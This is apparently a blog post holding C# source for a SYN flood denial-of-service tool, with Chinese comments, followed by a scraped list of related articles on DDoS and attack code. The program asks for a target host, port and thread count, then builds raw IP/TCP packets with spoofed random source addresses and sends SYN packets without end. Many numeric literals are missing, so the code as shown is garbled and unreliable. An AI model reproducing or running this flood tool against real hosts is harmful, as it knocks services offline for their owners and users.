//在工程属性中设置"允许不安全代码"为true
?using System;
using System.Net;
using System.Net.Sockets;
using System.Threading;
//需要的命名空间不用解释了吧
namespace syn
{
public struct ipHeader
{
public byte ip_verlen; //4位首部长度+4位IP版本号
public byte ip_tos; //8位服务类型TOS
public ushort ip_totallength; //16位数据包总长度(字节)
public ushort ip_id; //16位标识
public ushort ip_offset; //3位标志位
public byte ip_ttl; //8位生存时间 TTL
public byte ip_protocol; //8位协议(TCP, UDP, ICMP, Etc.)
public ushort ip_checksum; //16位IP首部校验和
public uint ip_srcaddr; //32位源IP地址
public uint ip_destaddr; //32位目的IP地址
}
public struct psdHeader
{
public uint saddr; //源地址
public uint daddr; //目的地址
public byte mbz;
public byte ptcl; //协议类型
public ushort tcpl; //TCP长度
}
public struct tcpHeader
{
public ushort th_sport; //16位源端口
public ushort th_dport; //16位目的端口
public int th_seq; //32位序列号
public uint th_ack; //32位确认号
public byte th_lenres; //4位首部长度/6位保留字
public byte th_flag; //6位标志位
public ushort th_win; //16位窗口大小
public ushort th_sum; //16位校验和
public ushort th_urp; //16位紧急数据偏移量
}
//这3个是ip首部tcp伪首部tcp首部的定义。
public class syn
{
private uint ip;
private ushort port;
private EndPoint ep;
private Random rand;
private Socket sock;
private ipHeader iph;
private psdHeader psh;
private tcpHeader tch;
public UInt16 checksum(UInt16[] buffer, int size)
{
Int32 cksum = ;
int counter;
counter = ;
?
while (size > )
{
UInt16 val = buffer[counter];
?
cksum += Convert.ToInt32(buffer[counter]);
counter += ;
size -= ;
}
?
cksum = (cksum >> ) + (cksum & 0xffff);
cksum += (cksum >> );
return (UInt16)(~cksum);
}
//这个使用来计算校验码的我照抄c#实现ping那文章的方法,反正ip协议计算校验码方法都一样
public syn(uint _ip, ushort _port, EndPoint _ep, Random _rand)
{
ip = _ip;
port = _port;
ep = _ep;
rand = _rand;
ipHeader iph = new ipHeader();
psh = new psdHeader();
tch = new tcpHeader();
sock = new Socket(AddressFamily.InterNetwork, SocketType.Raw, ProtocolType.IP);
sock.SetSocketOption(SocketOptionLevel.IP, SocketOptionName.HeaderIncluded, );
//这2个挺重要,必须这样才可以自己提供ip头
}
//传参数的多线程需要用到代构造函数的对象。
static void Main(string[] args)
{
Console.WriteLine("1、输入攻击ip或域名");
try
{
IPHostEntry pe = Dns.GetHostByName(Console.ReadLine());
uint ip = Convert.ToUInt32(pe.AddressList[].Address);//这是要攻击的ip并转为网络字节序
Console.WriteLine("2、输入攻击端口");
ushort port = ushort.Parse(Console.ReadLine());
IPEndPoint ep = new IPEndPoint(pe.AddressList[], port);
byte[] bt = BitConverter.GetBytes(port);
Array.Reverse(bt);
port = BitConverter.ToUInt16(bt, );
//要攻击的端口也得转为网络字节序,必须是16位0-65535,如果用hosttonetworkorder就转成32位的了,无奈这样
Console.WriteLine("3、输入攻击线程,最多50个");
int xiancheng = Int32.Parse(Console.ReadLine());
if (xiancheng < || xiancheng > )
{
Console.WriteLine("必须在1到50之间");
return;
}
Random rand = new Random();
Thread[] t = new Thread[xiancheng];
syn[] sy = new syn[xiancheng];
for (int i = ; i < xiancheng; i++)
{
sy[i] = new syn(ip, port, ep, rand);
t[i] = new Thread(new ThreadStart(sy[i].synFS));
t[i].Start();
}
//一个线程对应一个对象,不知多个线程对应同一个对象行不行,请指点。基础不行啊
}
catch
{
Console.WriteLine("有错误,请检查是不是连在网上,或者输入是否都正确");
return;
}
?
?
}
unsafe public void synFS()
{
iph.ip_verlen = (byte)( << | sizeof(ipHeader) / sizeof(uint));
//ipv4,20字节ip头,这个固定就是69
iph.ip_tos = ;
//这个0就行了
iph.ip_totallength = 0x2800;
//这个是ip头+tcp头总长,40是最小长度,不带tcp option,应该是0028但是还是网络字节序所以倒过来成了2800
iph.ip_id = 0x9B18;
//这个我是拦截ie发送。直接添上来了
iph.ip_offset = 0x40;
//这个也是拦截ie的
iph.ip_ttl = ;
//也是拦截ie的,也可以是128什么的。
iph.ip_protocol = ;
//6就是tcp协议
iph.ip_checksum = UInt16.Parse("");
//没计算之前都写0
iph.ip_destaddr = ip;
//ip头的目标地址就是要攻击的地址,上面传过来的。
psh.daddr = iph.ip_destaddr;
//伪tcp首部用于校验的,上面是目的地址,和ip的那个一样。
psh.mbz = ;
//这个据说0就行
psh.ptcl = ;
//6是tcp协议
psh.tcpl = 0x1400;
//tcp首部的大小,20字节,应该是0014,还是字节序原因成了1400
tch.th_dport = port;
//攻击端口号,上面传过来的
tch.th_ack = ;
//第一次发送所以没有服务器返回的序列号,为0
tch.th_lenres = (byte)((sizeof(tcpHeader) / << | ));
//tcp长度
tch.th_flag = ;
//2就是syn
tch.th_win = ushort.Parse("");
//拦截ie的
tch.th_sum = UInt16.Parse("");
//没计算之前都为0
tch.th_urp = UInt16.Parse("");
//这个连ip都是0,新的攻击方法有改这个值的
while (true)
{
iph.ip_srcaddr = Convert.ToUInt32(IPAddress.Parse(rand.Next(, ) + "." + rand.Next(, ) + "." + rand.Next(, ) + "." + rand.Next(, )).Address);
psh.saddr = iph.ip_srcaddr;
ushort duankou = Convert.ToUInt16(rand.Next(, ));
byte[] bt = BitConverter.GetBytes(duankou);
Array.Reverse(bt);
tch.th_sport = BitConverter.ToUInt16(bt, );
tch.th_seq = IPAddress.HostToNetworkOrder((int)rand.Next(-, ));
//上面用随机种子随机产生源ip源端口和tcp序列号并转为网络字节序
?
iph.ip_checksum = ;
tch.th_sum = ;
//因为循环中,所以每次必须把这2个已有数的清0才可计算
byte[] psh_buf = new byte[sizeof(psdHeader)];
Int32 index = ;
index = pshto(psh, psh_buf, sizeof(psdHeader));
if (index == -)
{
Console.WriteLine("构造tcp伪首部错误");
return;
}
index = ;
byte[] tch_buf = new byte[sizeof(tcpHeader)];
index = tchto(tch, tch_buf, sizeof(tcpHeader));
if (index == -)
{
Console.WriteLine("构造tcp首部错误1");
return;
}
index = ;
byte[] tcphe = new byte[sizeof(psdHeader) + sizeof(tcpHeader)];
Array.Copy(psh_buf, , tcphe, index, psh_buf.Length);
index += psh_buf.Length;
Array.Copy(tch_buf, , tcphe, index, tch_buf.Length);
index += tch_buf.Length;
tch.th_sum = chec(tcphe, index);
index = ;
index = tchto(tch, tch_buf, sizeof(tcpHeader));
if (index == -)
{
Console.WriteLine("构造tcp首部错误2");
return;
}
index = ;
byte[] ip_buf = new byte[sizeof(ipHeader)];
index = ipto(iph, ip_buf, sizeof(ipHeader));
if (index == -)
{
Console.WriteLine("构造ip首部错误1");
return;
}
index = ;
byte[] iptcp = new byte[sizeof(ipHeader) + sizeof(tcpHeader)];
Array.Copy(ip_buf, , iptcp, index, ip_buf.Length);
index += ip_buf.Length;
Array.Copy(tch_buf, , iptcp, index, tch_buf.Length);
index += tch_buf.Length;
iph.ip_checksum = chec(iptcp, index);
index = ;
index = ipto(iph, ip_buf, sizeof(tcpHeader));
if (index == -)
{
Console.WriteLine("构造ip首部错误2");
return;
}
index = ;
Array.Copy(ip_buf, , iptcp, index, ip_buf.Length);
index += ip_buf.Length;
Array.Copy(tch_buf, , iptcp, index, tch_buf.Length);
index += tch_buf.Length;
if (iptcp.Length != (sizeof(ipHeader) + sizeof(tcpHeader)))
{
Console.WriteLine("构造iptcp报文错误");
return;
}
//上面这一大堆东西就是计算校验和的方法了,方法是
//1、建立一个字节数组,前面放tcp伪首部后面放tcp首部,然后计算,确定最终tcp部分的校验和
//2、把确定了校验和地tcp首部重新生成字节数组,这是就不加tcp伪首部了,所以工20字节
//3、建40字节字节数组,前面放ip首部,后面放tcp首部,校验,确定最终ip部分校验和
//4、最后把确定了ip校验和的ip部分和tcp部分先后放入40字节的字节数组中,就是要发送的buffer[]了,就是这么麻烦
try
{
?
sock.SendTo(iptcp, ep);
//构造发送字节数组总是麻烦,发送就简单了,socket.sendto就可以了
?
}
catch
{
Console.WriteLine("发送错误");
return;
}
?
?
}
?
}
public UInt16 chec(byte[] buffer, int size)
{
Double double_length = Convert.ToDouble(size);
Double dtemp = Math.Ceiling(double_length / );
int cksum_buffer_length = Convert.ToInt32(dtemp);
UInt16[] cksum_buffer = new UInt16[cksum_buffer_length];
int icmp_header_buffer_index = ;
for (int i = ; i < cksum_buffer_length; i++)
{
cksum_buffer[i] =
BitConverter.ToUInt16(buffer, icmp_header_buffer_index);
icmp_header_buffer_index += ;
}
UInt16 u_cksum = checksum(cksum_buffer, cksum_buffer_length);
return u_cksum;
}
//这个是计算校验,把那些类型不一样的全转为16位字节数组用的
public Int32 ipto(ipHeader iph, byte[] Buffer, int size)
{
Int32 rtn = ;
int index = ;
byte[] b_verlen = new byte[];
b_verlen[] = iph.ip_verlen;
byte[] b_tos = new byte[];
b_tos[] = iph.ip_tos;
byte[] b_totallen = BitConverter.GetBytes(iph.ip_totallength);
byte[] b_id = BitConverter.GetBytes(iph.ip_id);
byte[] b_offset = BitConverter.GetBytes(iph.ip_offset);
byte[] b_ttl = new byte[];
b_ttl[] = iph.ip_ttl;
byte[] b_protol = new byte[];
b_protol[] = iph.ip_protocol;
byte[] b_checksum = BitConverter.GetBytes(iph.ip_checksum);
byte[] b_srcaddr = BitConverter.GetBytes(iph.ip_srcaddr);
byte[] b_destaddr = BitConverter.GetBytes(iph.ip_destaddr);
Array.Copy(b_verlen, , Buffer, index, b_verlen.Length);
index += b_verlen.Length;
Array.Copy(b_tos, , Buffer, index, b_tos.Length);
index += b_tos.Length;
Array.Copy(b_totallen, , Buffer, index, b_totallen.Length);
index += b_totallen.Length;
Array.Copy(b_id, , Buffer, index, b_id.Length);
index += b_id.Length;
Array.Copy(b_offset, , Buffer, index, b_offset.Length);
index += b_offset.Length;
Array.Copy(b_ttl, , Buffer, index, b_ttl.Length);
index += b_ttl.Length;
Array.Copy(b_protol, , Buffer, index, b_protol.Length);
index += b_protol.Length;
Array.Copy(b_checksum, , Buffer, index, b_checksum.Length);
index += b_checksum.Length;
Array.Copy(b_srcaddr, , Buffer, index, b_srcaddr.Length);
index += b_srcaddr.Length;
Array.Copy(b_destaddr, , Buffer, index, b_destaddr.Length);
index += b_destaddr.Length;
if (index != size/* sizeof(IcmpPacket) */)
{
rtn = -;
return rtn;
}
?
rtn = index;
return rtn;
?
}
//这个是把ip部分转为字节数组用的
public Int32 pshto(psdHeader psh, byte[] buffer, int size)
{
Int32 rtn;
int index = ;
byte[] b_psh_saddr = BitConverter.GetBytes(psh.saddr);
byte[] b_psh_daddr = BitConverter.GetBytes(psh.daddr);
byte[] b_psh_mbz = new byte[];
b_psh_mbz[] = psh.mbz;
byte[] b_psh_ptcl = new byte[];
b_psh_ptcl[] = psh.ptcl;
byte[] b_psh_tcpl = BitConverter.GetBytes(psh.tcpl);
Array.Copy(b_psh_saddr, , buffer, index, b_psh_saddr.Length);
index += b_psh_saddr.Length;
Array.Copy(b_psh_daddr, , buffer, index, b_psh_daddr.Length);
index += b_psh_daddr.Length;
Array.Copy(b_psh_mbz, , buffer, index, b_psh_mbz.Length);
index += b_psh_mbz.Length;
Array.Copy(b_psh_ptcl, , buffer, index, b_psh_ptcl.Length);
index += b_psh_ptcl.Length;
Array.Copy(b_psh_tcpl, , buffer, index, b_psh_tcpl.Length);
index += b_psh_tcpl.Length;
if (index != size)
{
rtn = -;
return rtn;
}
else
{
rtn = index;
return rtn;
}
?
}
//这个是把tcp伪首部转为字节数组用的
public Int32 tchto(tcpHeader tch, byte[] buffer, int size)
{
Int32 rtn;
int index = ;
byte[] b_tch_sport = BitConverter.GetBytes(tch.th_sport);
byte[] b_tch_dport = BitConverter.GetBytes(tch.th_dport);
byte[] b_tch_seq = BitConverter.GetBytes(tch.th_seq);
byte[] b_tch_ack = BitConverter.GetBytes(tch.th_ack);
byte[] b_tch_lenres = new byte[];
b_tch_lenres[] = tch.th_lenres;
byte[] b_tch_flag = new byte[];
b_tch_flag[] = tch.th_flag;
byte[] b_tch_win = BitConverter.GetBytes(tch.th_win);
byte[] b_tch_sum = BitConverter.GetBytes(tch.th_sum);
byte[] b_tch_urp = BitConverter.GetBytes(tch.th_urp);
Array.Copy(b_tch_sport, , buffer, index, b_tch_sport.Length);
index += b_tch_sport.Length;
Array.Copy(b_tch_dport, , buffer, index, b_tch_dport.Length);
index += b_tch_dport.Length;
Array.Copy(b_tch_seq, , buffer, index, b_tch_seq.Length);
index += b_tch_seq.Length;
Array.Copy(b_tch_ack, , buffer, index, b_tch_ack.Length);
index += b_tch_ack.Length;
Array.Copy(b_tch_lenres, , buffer, index, b_tch_lenres.Length);
index += b_tch_lenres.Length;
Array.Copy(b_tch_flag, , buffer, index, b_tch_flag.Length);
index += b_tch_flag.Length;
Array.Copy(b_tch_win, , buffer, index, b_tch_win.Length);
index += b_tch_win.Length;
Array.Copy(b_tch_sum, , buffer, index, b_tch_sum.Length);
index += b_tch_sum.Length;
Array.Copy(b_tch_urp, , buffer, index, b_tch_urp.Length);
index += b_tch_urp.Length;
if (index != size)
{
rtn = -;
return rtn;
}
else
{
rtn = index;
return rtn;
}
}
//这个是把tcp部分转为字节数组用的,因为这个要用到2次就不把这个和伪首部放一块了。
}
}

c#DDOS代码的更多相关文章

  1. 浅谈JS DDoS攻击原理与防御

    分布式拒绝服务攻击(DDoS)攻击是一种针对网站发起的最古老最普遍的攻击.Nick Sullivan是网站加速和安全服务提供商CloudFlare的一名系统工程师.近日,他撰文介绍了攻击者如何利用恶意 ...

  2. 浅谈JavaScript DDOS 攻击原理与防御

    前言 DDoS(又名"分布式拒绝服务")攻击历史由来已久,但却被黑客广泛应用.我们可以这样定义典型的DDoS攻击:攻击者指使大量主机向服务器发送数据,直到超出处理能力进而无暇处理正 ...

  3. 基于python实现的DDoS

    目录 一个简单的网络僵尸程序 一个简单的DOS攻击程序 整合网络僵尸和DoS攻击--DDoS 代码地址如下:http://www.demodashi.com/demo/12002.html 本例子包含 ...

  4. Subresource Integrity(子资源一致性)和JS DDos 攻击

    以下文章转载自 http://www.cnblogs.com/zoucaitou/p/4505483.html 和 http://www.puronglong.com/blog//2015/04/12 ...

  5. XSS的高级利用部分总结 -蠕虫

    XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页本帖最后由 racle 于 2009-5-30 09:19 编辑 XSS的高级利用总结 -蠕虫,HTTPONLY,A ...

  6. <script> 属性crossorigin

    今日偶然见到如下代码: <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.11.0/umd/popper. ...

  7. php防止ddos,dns,集群攻击的实现代码

    <?php /* vim: set expandtab tabstop=4 shiftwidth=4: */ // +-------------------------------------- ...

  8. php ddos 安全处理代码

    <?php//查询禁止IP$ip =$_SERVER['REMOTE_ADDR'];$fileht=".htaccess2";if(!file_exists($fileht) ...

  9. PHP DDOS的UDP攻击,TCP攻击,和CC攻击的核心代码

    网络安全向,请勿用作非法用途 CC攻击模块: <?phpecho “状态 : 正常运行中…..<br>”;echo “================================ ...

随机推荐

  1. Ugly Number Gym - 101875B (最小表示法)

    题意:给你一串长度为n的数,这个数可以将后面的数挪到前面来,如果没有小于最开始的那个数的话就输出YES,否则输出NO 题解:如果后面有数字小于第一个数的话就肯定是NO了,这题的坑点就是如果前面很长一串 ...

  2. opencv:USM锐化

    USM:unsharp mask 对小的细节干扰小,对大的细节进行锐化 Mat dst; Mat blur_image; GaussianBlur(src, blur_image, Size(3, 3 ...

  3. 【代码总结】Struts2 Action接受参数方式的对比

    一.属性方式 1.Action中:对应表单参数的setter.getter 2.页面中  :Form中元素name取值属性名 <s:property value="属性名" ...

  4. 创建Vue项目及其内容分析

    利用 vue 脚手架开发企业级应用     # 全局安装 vue-cli     npm install --global vue-cli    # 创建一个基于 webpack 模板的新项目     ...

  5. web学习---html,js,php,mysql一个动态网页获取流程

    使用bootstrap的cms模版系统搭建了一个信息管理系统.通过这个系统学习动态网页获取的工作流程. 抓包分析一个页面的数据请求流程如下图所示: 同样,对于需要向数据库插入数据,可以使用ajax接口 ...

  6. 结构体数组排序:1004 成绩排名 【pta】

    结构体模板 struct STU { string name; //用string可以代替char string num; int s; }; sort是用快速排序实现的,属于不稳定排序,stable ...

  7. PHP 超全局变量之$_FILES

    $_FILES——通过 HTTP POST 方式上传到当前脚本的项目的数组. 假设我们上传文件字段name='userfile',$_FILES数组里包括: $_FILES['userfile'][' ...

  8. linux使用wget下载https开头url的文件

    可以使用命令 : 比如我们可以修改成: wget --no-check-certificate https://我们下载文件路径 来自: http://www.laozuo.org/3648.html

  9. 关于XMlHttpRequest对象

    //创建XMLHttpRequest对象的三种方法 1 var xhr = createXMLHttpRequest(); function createXMLHttpRequest(){ try{ ...

  10. Ubuntu16 nginx 配置 Let's Encrypt 免费ssl

    每篇一句 Some of us get dipped in flat, some in satin, some in gloss. But every once in a while you find ...